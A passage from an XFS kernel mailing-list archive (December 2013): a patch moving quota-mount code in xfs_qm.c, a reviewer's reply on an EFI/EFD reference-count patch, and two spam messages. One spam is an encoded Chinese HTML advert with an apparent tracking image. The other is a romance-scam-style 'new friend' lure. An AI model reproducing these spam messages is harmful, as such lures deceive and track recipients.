03:22:48 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBSBMln7031723 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 28 Dec 2013 11:22:48 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBMktn022359 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 11:22:47 GMT Received: from abhmp0020.oracle.com (abhmp0020.oracle.com [141.146.116.26]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBMkGw027528 for ; Sat, 28 Dec 2013 11:22:46 GMT Received: from [192.168.1.105] (/221.223.117.196) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 28 Dec 2013 03:22:46 -0800 Message-ID: <52BEB484.3040505@oracle.com> Date: Sat, 28 Dec 2013 19:22:44 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 10/10] xfs: isolate xfs_qm_quotacheck to xfs_qm source file Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 10/10] xfs: isolate xfs_qm_quotacheck to xfs_qm source file Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1388229768 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143488 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Isolate xfs_qm_quotacheck() to xfs_qm.c as there is no other users. Signed-off-by: Jie Liu --- fs/xfs/xfs_qm.c | 189 ++++++++++++++++++++++++++++---------------------------- fs/xfs/xfs_qm.h | 1 - 2 files changed, 94 insertions(+), 96 deletions(-) diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index dd88f0e..5dccf94 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -272,100 +272,6 @@ xfs_qm_unmount( } } - -/* - * This is called from xfs_mountfs to start quotas and initialize all - * necessary data structures like quotainfo. This is also responsible for - * running a quotacheck as necessary. We are guaranteed that the superblock - * is consistently read in at this point. - * - * If we fail here, the mount will continue with quota turned off. We don't - * need to inidicate success or failure at all. - */ -void -xfs_qm_mount_quotas( - xfs_mount_t *mp) -{ - int error = 0; - uint sbf; - - /* - * If quotas on realtime volumes is not supported, we disable - * quotas immediately. - */ - if (mp->m_sb.sb_rextents) { - xfs_notice(mp, "Cannot turn on quotas for realtime filesystem"); - mp->m_qflags = 0; - goto write_changes; - } - - ASSERT(XFS_IS_QUOTA_RUNNING(mp)); - - /* - * Allocate the quotainfo structure inside the mount struct, and - * create quotainode(s), and change/rev superblock if necessary. - */ - error = xfs_qm_init_quotainfo(mp); - if (error) { - /* - * We must turn off quotas. - */ - ASSERT(mp->m_quotainfo == NULL); - mp->m_qflags = 0; - goto write_changes; - } - /* - * If any of the quotas are not consistent, do a quotacheck. - */ - if (XFS_QM_NEED_QUOTACHECK(mp)) { - error = xfs_qm_quotacheck(mp); - if (error) { - /* Quotacheck failed and disabled quotas. */ - return; - } - } - /* - * If one type of quotas is off, then it will lose its - * quotachecked status, since we won't be doing accounting for - * that type anymore. - */ - if (!XFS_IS_UQUOTA_ON(mp)) - mp->m_qflags &= ~XFS_UQUOTA_CHKD; - if (!XFS_IS_GQUOTA_ON(mp)) - mp->m_qflags &= ~XFS_GQUOTA_CHKD; - if (!XFS_IS_PQUOTA_ON(mp)) - mp->m_qflags &= ~XFS_PQUOTA_CHKD; - - write_changes: - /* - * We actually don't have to acquire the m_sb_lock at all. - * This can only be called from mount, and that's single threaded. XXX - */ - spin_lock(&mp->m_sb_lock); - sbf = mp->m_sb.sb_qflags; - mp->m_sb.sb_qflags = mp->m_qflags & XFS_MOUNT_QUOTA_ALL; - spin_unlock(&mp->m_sb_lock); - - if (sbf != (mp->m_qflags & XFS_MOUNT_QUOTA_ALL)) { - if (xfs_qm_write_sb_changes(mp, XFS_SB_QFLAGS)) { - /* - * We could only have been turning quotas off. - * We aren't in very good shape actually because - * the incore structures are convinced that quotas are - * off, but the on disk superblock doesn't know that ! - */ - ASSERT(!(XFS_IS_QUOTA_RUNNING(mp))); - xfs_alert(mp, "%s: Superblock update failed!", - __func__); - } - } - - if (error) { - xfs_warn(mp, "Failed to initialize disk quotas."); - return; - } -} - /* * Called from the vfsops layer. */ @@ -1499,7 +1405,7 @@ out_unlock: * Walk thru all the filesystem inodes and construct a consistent view * of the disk quota world. If the quotacheck fails, disable quotas. */ -int +STATIC int xfs_qm_quotacheck( xfs_mount_t *mp) { @@ -1636,6 +1542,99 @@ xfs_qm_quotacheck( } /* + * This is called from xfs_mountfs to start quotas and initialize all + * necessary data structures like quotainfo. This is also responsible for + * running a quotacheck as necessary. We are guaranteed that the superblock + * is consistently read in at this point. + * + * If we fail here, the mount will continue with quota turned off. We don't + * need to inidicate success or failure at all. + */ +void +xfs_qm_mount_quotas( + struct xfs_mount *mp) +{ + int error = 0; + uint sbf; + + /* + * If quotas on realtime volumes is not supported, we disable + * quotas immediately. + */ + if (mp->m_sb.sb_rextents) { + xfs_notice(mp, "Cannot turn on quotas for realtime filesystem"); + mp->m_qflags = 0; + goto write_changes; + } + + ASSERT(XFS_IS_QUOTA_RUNNING(mp)); + + /* + * Allocate the quotainfo structure inside the mount struct, and + * create quotainode(s), and change/rev superblock if necessary. + */ + error = xfs_qm_init_quotainfo(mp); + if (error) { + /* + * We must turn off quotas. + */ + ASSERT(mp->m_quotainfo == NULL); + mp->m_qflags = 0; + goto write_changes; + } + /* + * If any of the quotas are not consistent, do a quotacheck. + */ + if (XFS_QM_NEED_QUOTACHECK(mp)) { + error = xfs_qm_quotacheck(mp); + if (error) { + /* Quotacheck failed and disabled quotas. */ + return; + } + } + /* + * If one type of quotas is off, then it will lose its + * quotachecked status, since we won't be doing accounting for + * that type anymore. + */ + if (!XFS_IS_UQUOTA_ON(mp)) + mp->m_qflags &= ~XFS_UQUOTA_CHKD; + if (!XFS_IS_GQUOTA_ON(mp)) + mp->m_qflags &= ~XFS_GQUOTA_CHKD; + if (!XFS_IS_PQUOTA_ON(mp)) + mp->m_qflags &= ~XFS_PQUOTA_CHKD; + + write_changes: + /* + * We actually don't have to acquire the m_sb_lock at all. + * This can only be called from mount, and that's single threaded. XXX + */ + spin_lock(&mp->m_sb_lock); + sbf = mp->m_sb.sb_qflags; + mp->m_sb.sb_qflags = mp->m_qflags & XFS_MOUNT_QUOTA_ALL; + spin_unlock(&mp->m_sb_lock); + + if (sbf != (mp->m_qflags & XFS_MOUNT_QUOTA_ALL)) { + if (xfs_qm_write_sb_changes(mp, XFS_SB_QFLAGS)) { + /* + * We could only have been turning quotas off. + * We aren't in very good shape actually because + * the incore structures are convinced that quotas are + * off, but the on disk superblock doesn't know that ! + */ + ASSERT(!(XFS_IS_QUOTA_RUNNING(mp))); + xfs_alert(mp, "%s: Superblock update failed!", + __func__); + } + } + + if (error) { + xfs_warn(mp, "Failed to initialize disk quotas."); + return; + } +} + +/* * This is called after the superblock has been read in and we're ready to * iget the quota inodes. */ diff --git a/fs/xfs/xfs_qm.h b/fs/xfs/xfs_qm.h index 797fd46..3a07a93 100644 --- a/fs/xfs/xfs_qm.h +++ b/fs/xfs/xfs_qm.h @@ -157,7 +157,6 @@ struct xfs_dquot_acct { #define XFS_QM_RTBWARNLIMIT 5 extern void xfs_qm_destroy_quotainfo(struct xfs_mount *); -extern int xfs_qm_quotacheck(struct xfs_mount *); extern int xfs_qm_write_sb_changes(struct xfs_mount *, __int64_t); /* dquot stuff */ -- 1.8.3.2 From juequzywpn@kcn104.009sjw03.tk Sat Dec 28 06:40:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.2 required=5.0 tests=FREEMAIL_REPLYTO, HK_RANDOM_REPLYTO,HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 98C4A29DF8 for ; Sat, 28 Dec 2013 06:40:11 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2C6F3AC002 for ; Sat, 28 Dec 2013 04:40:07 -0800 (PST) X-ASG-Debug-ID: 1388234403-04cbb04167a24150001-NocioJ Received: from mx104.oujiming.com.cn (mx104.oujiming.com.cn [70.39.74.104]) by cuda.sgi.com with ESMTP id NxC8CBra6QRIe1En (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 04:40:03 -0800 (PST) X-Barracuda-Envelope-From: juequzywpn@kcn104.009sjw03.tk X-Barracuda-Apparent-Source-IP: 70.39.74.104 Received: from skfxv ([127.0.0.1]) by mx098.0755ws.com (IceWarp 10.4.4) with SMTP id NYP42858 for ; Sat, 28 Dec 2013 05:39:58 -0700 From: "duzridjtwljwzuy" Reply-To: fgwpxzx88@vip.163.com To: xfs@oss.sgi.com Subject: =?GB2312?B?udjT2r7ZsOyhsNXQseqyybm6yrXO8bLZ1/e8sLeowsm358/Vt8C3ttPrvOC2?= =?GB2312?B?vSC53MDt16jM4sXg0bWw4KGxtcTNqNaq?= Date: Sat, 28 Dec 2013 05:39:58 -0700 X-ASG-Orig-Subj: =?GB2312?B?udjT2r7ZsOyhsNXQseqyybm6yrXO8bLZ1/e8sLeowsm358/Vt8C3ttPrvOC2?= =?GB2312?B?vSC53MDt16jM4sXg0bWw4KGxtcTNqNaq?= X-Mailer: Dkcgqmyktdv 9 Disposition-Notification-To: eduvedu@vip.126.com MIME-Version: 1.0 Content-Type: text/html; charset="GB2312" Content-Transfer-Encoding: base64 X-Priority: 3 Message-ID: X-Barracuda-Connect: mx104.oujiming.com.cn[70.39.74.104] X-Barracuda-Start-Time: 1388234403 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.10 X-Barracuda-Spam-Status: No, SCORE=2.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0113c, HTML_MESSAGE, MIME_HTML_ONLY, URIBL_WS_SURBL X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143490 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MV0113c BSF_SC0_MV0113c 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 2.10 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist [URIs: 009sjw05.tk] PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv L0VOIj4NCjxodG1sIHhtbG5zOm8gPSAidXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6 b2ZmaWNlIj48aGVhZD4NCjxtZXRhIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1nYjIzMTIi IGh0dHAtZXF1aXY9Q29udGVudC1UeXBlPg0KPC9oZWFkPg0KPGJvZHk+DQo8ZGl2DQpzdHlsZT0i TElORS1IRUlHSFQ6IDEuNzsgRk9OVC1GQU1JTFk6IGFyaWFsOyBDT0xPUjogIzAwMDAwMDsgRk9O VC1TSVpFOiAxNHB4Ij48YnI+DQo8ZGl2IGlkPWlzRm9yd2FyZENvbnRlbnQ+DQo8ZGl2IHN0eWxl PSJDT0xPUjogcmdiKDAsMCwwKSI+DQo8ZGl2IGlkPWlzRm9yd2FyZENvbnRlbnQ+DQo8ZGl2IHN0 eWxlPSJDT0xPUjogcmdiKDAsMCwwKSI+DQo8ZGl2IGlkPWlzRm9yd2FyZENvbnRlbnQ+DQo8ZGl2 IHN0eWxlPSJDT0xPUjogcmdiKDAsMCwwKSI+DQo8ZGl2IHN0eWxlPSJMSU5FLUhFSUdIVDogMS43 OyBGT05ULUZBTUlMWTogYXJpYWw7IEZPTlQtU0laRTogMTRweCI+Jm5ic3A7ICZuYnNwOw0KJm5i c3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyZuYnNwOzxzcGFuIHN0eWxlPSJGT05ULVNJ WkU6IDE4cHgiPjxiPjxzcGFuDQpzdHlsZT0iRk9OVC1TSVpFOiAxOHB4Ij4mbmJzcDsgJm5ic3A7 ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgPHNwYW4NCnN0eWxlPSJGT05ULVNJ WkU6IDI0cHgiPiZuYnNwOyAmbmJzcDsmbmJzcDs8L3NwYW4+PC9zcGFuPjxzcGFuDQpzdHlsZT0i Rk9OVC1TSVpFOiAyNHB4Ij48c3Bhbg0Kc3R5bGU9IkZPTlQtRkFNSUxZOiBzaW1oZWk7IENPTE9S OiByZ2IoMjU1LDAsMCkiPqG21tC5+tXQseqht9bcv6/J5yZuYnNwOzwvc3Bhbj48L3NwYW4+PC9i Pjwvc3Bhbj48L2Rpdj4NCjxkaXYgc3R5bGU9IkxJTkUtSEVJR0hUOiAxLjc7IEZPTlQtRkFNSUxZ OiBhcmlhbDsgRk9OVC1TSVpFOiAxNHB4Ij48Yg0Kc3R5bGU9IkZPTlQtU0laRTogMThweCI+udjT 2r7ZsOyhsNXQseqyybm6yrXO8bLZ1/e8sLeowsm358/Vt8C3ttPrvOC2vbncwO3XqMzixeDRtbDg obG1xM2o1qombmJzcDs8L2I+PC9kaXY+DQo8ZGl2IHN0eWxlPSJMSU5FLUhFSUdIVDogMS43OyBG T05ULUZBTUlMWTogYXJpYWw7IEZPTlQtU0laRTogMTRweCI+Jm5ic3A7ICZuYnNwOw0KJm5ic3A7 ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsg Jm5ic3A7ICZuYnNwOw0KJm5ic3A7ICZuYnNwOyAmbmJzcDsmbmJzcDs8c3Bhbg0Kc3R5bGU9IkNP TE9SOiByZ2IoMCwwLDI1NSkiPiZuYnNwOyZuYnNwOzwvc3Bhbj48L2Rpdj4NCjxkaXYgc3R5bGU9 IkxJTkUtSEVJR0hUOiAxLjc7IEZPTlQtRkFNSUxZOiBhcmlhbDsgRk9OVC1TSVpFOiAxNHB4Ij48 Yg0Kc3R5bGU9IkZPTlQtU0laRTogMThweCI+0ruhosqxvOS8sLXYteM8L2I+PC9kaXY+DQo8ZGl2 IHN0eWxlPSJMSU5FLUhFSUdIVDogMS43OyBGT05ULUZBTUlMWTogYXJpYWw7IEZPTlQtU0laRTog MTRweCI+PGI+Jm5ic3A7DQombmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDvKsbzko7oyMDE0xOow MdTCMTDI1aGqMTXI1aOoMTDI1cirzOyxqLW9o6kgJm5ic3A7ILXYteOjurqjv9o8L2I+PC9kaXY+ DQo8ZGl2IHN0eWxlPSJMSU5FLUhFSUdIVDogMS43OyBGT05ULUZBTUlMWTogYXJpYWw7IEZPTlQt U0laRTogMTRweCI+PGI+Jm5ic3A7DQombmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDvKsbzko7oy MDE0xOowMdTCMTXI1aGqMjDI1aOoMTXI1cirzOyxqLW9o6kgJm5ic3A7ILXYteOjusnu29o8L2I+ PC9kaXY+DQo8ZGl2IHN0eWxlPSJMSU5FLUhFSUdIVDogMS43OyBGT05ULUZBTUlMWTogYXJpYWw7 IEZPTlQtU0laRTogMTRweCI+PGJyPjwvZGl2Pg0KPGRpdg0Kc3R5bGU9IkxJTkUtSEVJR0hUOiAx Ljc7IEZPTlQtRkFNSUxZOiBhcmlhbDsgRk9OVC1TSVpFOiAxOHB4Ij48Yj62/qGiwarPtbe9yr08 L2I+PC9kaXY+DQo8ZGl2IHN0eWxlPSJMSU5FLUhFSUdIVDogMS43OyBGT05ULUZBTUlMWTogYXJp YWw7IEZPTlQtU0laRTogMTRweCI+PGI+Jm5ic3A7DQombmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJz cDu157uw18nRr6O6MDEwLTUyNzI2NzA4ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJz cDsNCiZuYnNwOyAmbmJzcDsgtKvV5qO6MDEwLTUyNzI2NzA5PC9iPjwvZGl2Pg0KPGRpdiBzdHls ZT0iVEVYVC1JTkRFTlQ6IDM3cHgiPjxiPjxzcGFuDQpzdHlsZT0iTElORS1IRUlHSFQ6IDEuNzsg Rk9OVC1TSVpFOiAxNHB4Ij7BqiAmbmJzcDvPtSAmbmJzcDvIy6O6wO4g1PMgJm5ic3A7ICZuYnNw Ow0KJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNw OyAmbmJzcDsgJm5ic3A7ICZuYnNwOw0KJm5ic3A7INPKz+Q6PC9zcGFuPjwvYj48YSBocmVmPSJt YWlsdG86empienl6eEB2aXAuMTYzLmNvbSINCnRhcmdldD1fYmxhbms+empienl6eEB2aXAuMTYz LmNvbTwvYT48L2Rpdj4NCjxkaXYgc3R5bGU9IlRFWFQtSU5ERU5UOiAzN3B4Ij48YnI+PC9kaXY+ DQo8ZGl2IHN0eWxlPSJMSU5FLUhFSUdIVDogMS43OyBGT05ULUZBTUlMWTogYXJpYWw7IEZPTlQt U0laRTogMTRweCI+PHNwYW4NCnN0eWxlPSJGT05ULVNJWkU6IDEzLjVwdDsgbXNvLWJpZGktZm9u dC1mYW1pbHk6IMvOzOU7IG1zby1mb250LWtlcm5pbmc6IDBwdCINCmxhbmc9RU4tVVM+Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7IDxhDQpocmVmPSJodHRwOi8vd3d3LjAwOXNqdzAzLnRrL77ZsOzV 0LHqssm5usq1zvGy2df3vLC3qMLJt+fP1bfAt7bT67zgtr253MDt16jM4sXg0bWw4M7EvP4uZG9j Ij48Yj48c3Bhbg0Kc3R5bGU9IkZPTlQtRkFNSUxZOiAnQXJpYWwnLCdzYW5zLXNlcmlmJzsgQ09M T1I6IGJsdWU7IFRFWFQtREVDT1JBVElPTjogbm9uZTsgdGV4dC11bmRlcmxpbmU6IG5vbmUiPjxz cGFuDQpzdHlsZT0ibXNvLXNwYWNlcnVuOiB5ZXMiPiZuYnNwOzwvc3Bhbj4oPC9zcGFuPjwvYj48 Yj48c3Bhbg0Kc3R5bGU9IkZPTlQtRkFNSUxZOiDLzszlOyBDT0xPUjogYmx1ZTsgVEVYVC1ERUNP UkFUSU9OOiBub25lOyBtc28tYmlkaS1mb250LWZhbWlseTogQXJpYWw7IHRleHQtdW5kZXJsaW5l OiBub25lOyBtc28tYXNjaWktZm9udC1mYW1pbHk6IEFyaWFsOyBtc28tZmFyZWFzdC1mb250LWZh bWlseTogy87M5TsgbXNvLWZhcmVhc3QtdGhlbWUtZm9udDogbWlub3ItZmFyZWFzdDsgbXNvLWhh bnNpLWZvbnQtZmFtaWx5OiBBcmlhbCINCmxhbmc9RU4tVVM+PHNwYW4gbGFuZz1FTi1VUz7V/cq9 zsS8/s2o1qrH67Xju/e0y7Smz8LU2KOpPC9zcGFuPjwvc3Bhbj48L2I+PC9hPjwvc3Bhbj48c3Bh bg0Kc3R5bGU9IkZPTlQtRkFNSUxZOiDLzszlOyBGT05ULVNJWkU6IDEycHQ7IG1zby1iaWRpLWZv bnQtZmFtaWx5OiDLzszlOyBtc28tZm9udC1rZXJuaW5nOiAwcHQiDQpsYW5nPUVOLVVTPjxvOnA+ PC9vOnA+PC9zcGFuPjxpbWcgYm9yZGVyPSIwIiBoc3BhY2U9IjAiIGFsdD0iIiBhbGlnbj0iYmFz ZWxpbmUiIHNyYz0iaHR0cDovL3d3dy4wMDlzancwNS50ay90anRkL3RqLmFzcD9tYWlsX2lkPXpo YW9iaWFvJmVtYWlsPXhmc0Bvc3Muc2dpLmNvbSZyPXFlIiAvPjwvZGl2PjwvZGl2PjwvZGl2Pjwv ZGl2PjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PjwvYm9keT4= From lisakuku1@hotmail.com Sat Dec 28 09:49:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=FORGED_HOTMAIL_RCVD2, FREEMAIL_ENVFROM_END_DIGIT,FREEMAIL_FROM,FREEMAIL_REPLYTO_END_DIGIT autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2FC7E29DF9 for ; Sat, 28 Dec 2013 09:49:53 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 21E50304032 for ; Sat, 28 Dec 2013 07:49:50 -0800 (PST) X-ASG-Debug-ID: 1388245786-04cb6c537ea32d70001-NocioJ Received: from mail.ndcp.edu.ph (mail.ndcp.edu.ph [121.58.235.59]) by cuda.sgi.com with ESMTP id NlJebIOXnBpP44Du (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Sat, 28 Dec 2013 07:49:49 -0800 (PST) X-Barracuda-Envelope-From: lisakuku1@hotmail.com X-Barracuda-Apparent-Source-IP: 121.58.235.59 Received: from localhost (localhost [127.0.0.1]) by mail.ndcp.edu.ph (Postfix) with ESMTP id A0FB2256E03; Sat, 28 Dec 2013 23:49:36 +0800 (PHT) X-Virus-Scanned: amavisd-new at ndcp.edu.ph Received: from mail.ndcp.edu.ph ([127.0.0.1]) by localhost (goodlife.ndcp.edu.ph [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id vNA+DtwMgP9F; Sat, 28 Dec 2013 23:49:36 +0800 (PHT) Received: by mail.ndcp.edu.ph (Postfix, from userid 80) id 27BCC256DFA; Sat, 28 Dec 2013 23:49:36 +0800 (PHT) To: undisclosed-recipients:; Subject: Hello , am lisa your new freind.... MIME-Version: 1.0 X-ASG-Orig-Subj: Hello , am lisa your new freind.... Date: Sat, 28 Dec 2013 23:49:36 +0800 From: Lisa Kuku Reply-To: lisakuku1@hotmail.com Message-ID: <7b413562c0a20f7e9b5ff4fac25123c6@mail.ndcp.edu.ph> X-Sender: lisakuku1@hotmail.com User-Agent: RoundCube Webmail/0.1 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mail.ndcp.edu.ph[121.58.235.59] X-Barracuda-Start-Time: 1388245788 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.12 X-Barracuda-Spam-Status: No, SCORE=1.12 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FORGED_HOTMAIL_RCVD2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143494 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.12 FORGED_HOTMAIL_RCVD2 hotmail.com 'From' address, but no 'Received:' -- Hello My name is Lisa i seek for true friendship and partner, so i contact you, please if you don't mind I will like you to respond to my mail lisakuku1@hotmail.com so I can send you my picture and tell you more about myself, Lisa From tinguely@sgi.com Sat Dec 28 10:19:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D173629DF8 for ; Sat, 28 Dec 2013 10:19:59 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay1.corp.sgi.com (Postfix) with ESMTP id AFEDC8F8033; Sat, 28 Dec 2013 08:19:56 -0800 (PST) Message-ID: <52BEFA2E.5070006@sgi.com> Date: Sat, 28 Dec 2013 10:19:58 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Jeff Liu CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 2/4] xfs: always releasing EFD's reference to EFI in xfs_efd_item_committed References: <52B98295.8050704@oracle.com> In-Reply-To: <52B98295.8050704@oracle.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/24/13 06:48, Jeff Liu wrote: > From: Jie Liu > > With fsstress+godown test I observed an XFS hang up during umount which > yielding a backtrace like below: > > [20876.193635] INFO: task umount:9853 blocked for more than 120 seconds. > [20876.193641] Tainted: PF O 3.13.0-rc2+ #8 > [20876.193643] "echo 0> /proc/sys/kernel/hung_task_timeout_secs" > disables this message. > [20876.193645] umount D ffff88026f294440 0 9853 9372 > > [20876.193663] Call Trace: > [20876.193672] [] schedule+0x29/0x70 > [20876.193701] [] xfs_ail_push_all_sync+0xa9/0xe0 [xfs] > [20876.193707] [] ? prepare_to_wait_event+0x100/0x100 > [20876.193726] [] xfs_unmountfs+0x61/0x150 [xfs] > [20876.193746] [] xfs_fs_put_super+0x21/0x60 [xfs] > [20876.193751] [] generic_shutdown_super+0x72/0xf0 > [20876.193754] [] kill_block_super+0x27/0x70 > [20876.193757] [] deactivate_locked_super+0x3d/0x60 > [20876.193761] [] deactivate_super+0x46/0x60 > [20876.193765] [] mntput_no_expire+0xd6/0x170 > [20876.193769] [] SyS_umount+0x8e/0x100 > [20876.193774] [] system_call_fastpath+0x1a/0x1f > > As per above backtraces, the umount process is already scheduled out > in xfs_ail_push_all_sync() because it should push out all of pending > changes in AIL and wait until the AIL is empty. Then it will wake up > xfsaild thread to do the actual flushing business. However, I found > that the AIL does not became empty in some situations because of some > EFI are still being on it, but in EFI's iop_push operation, we always > returning XFS_ITEM_PINNED which leads to the xfsaild thread suffering > into an infinite loop. > > Since EFI items have no locking or pushing, they are pulled from the > AIL when their corresponding EFDs are committed to disk, and we have > guaranteed that the EFI should not be freed until it has been unppined > and the EFD has been committed in commit 666d644cd7, this is done via > an EFI reference count by initializing it to 2 in xfs_efi_init() -- one > is it's own count which is not released until it is unpinned, the other > one is taken by its corresponding EFD which will be released during EFD > commit operation. > > IMHO we should always releasing it's reference to the corresponding EFI > item once the EFD item is committed to disk regardless of the log item > is marked with XFS_LI_ABORTED flag or not. > > Signed-off-by: Jie Liu > --- > fs/xfs/xfs_extfree_item.c | 8 +------- > 1 file changed, 1 insertion(+), 7 deletions(-) > > diff --git a/fs/xfs/xfs_extfree_item.c b/fs/xfs/xfs_extfree_item.c > index 3680d04..16c0396 100644 > --- a/fs/xfs/xfs_extfree_item.c > +++ b/fs/xfs/xfs_extfree_item.c > @@ -437,13 +437,7 @@ xfs_efd_item_committed( > { > struct xfs_efd_log_item *efdp = EFD_ITEM(lip); > > - /* > - * If we got a log I/O error, it's always the case that the LR with the > - * EFI got unpinned and freed before the EFD got aborted. > - */ > - if (!(lip->li_flags& XFS_LI_ABORTED)) > - xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents); > - > + xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents); > xfs_efd_item_free(efdp); > return (xfs_lsn_t)-1; > } Hi Jeff. This would work if the forced shutdown happened after both the EFI and EFD transaction were committed and successfully placed on the CIL. If the sequence went EFI commit, CIL push (EFI is now in the AIL), forced shutdown, and then EFD commit. In this sequence, the EFD item would not be placed on the CIL and therefore the iop.committed would not be called. In this patch only iop_committing and iop_unlock would be run on the EFD item. Thanks, --Mark. From stan@hardwarefreak.com Sat Dec 28 10:56:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 